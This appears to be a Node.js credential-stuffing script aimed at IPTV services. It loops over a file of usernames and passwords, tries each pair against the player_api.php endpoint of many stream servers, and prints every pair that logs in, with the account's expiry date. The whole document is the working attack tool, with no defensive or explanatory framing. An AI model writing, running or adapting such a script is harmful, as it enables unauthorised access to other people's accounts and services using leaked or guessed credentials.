let streamArrays = require('./streamArray.json') let users = require('./logins.json') const { gotRequest } = require('./gotRequest') const delay = ms => new Promise(res => setTimeout(res, ms)); async function main() { for (let index = 0; index < users.length; index++) { const user = users[index]; console.log('Trying ' + user.username) for (let index = 0; index < streamArrays.length; index++) { // await delay(1000); const stream = streamArrays[index]; let url = stream.StreamURL + "/player_api.php?username=" + user.username + "&password=" + user.password let t = await gotRequest(url) let body = t.body if (t.statusCode == 200 && body !== "") { body = JSON.parse(body) if (body.user_info.auth) { var date = new Date(body.user_info.exp_date * 1000).toLocaleDateString('en-GB') console.log('Match - ' + user.username + ' - ' + stream.StreamURL + ' - ' + stream.StreamName + ' - Expires - ' + date) } } } console.log('End Of Streams') } console.log('Finished') } main()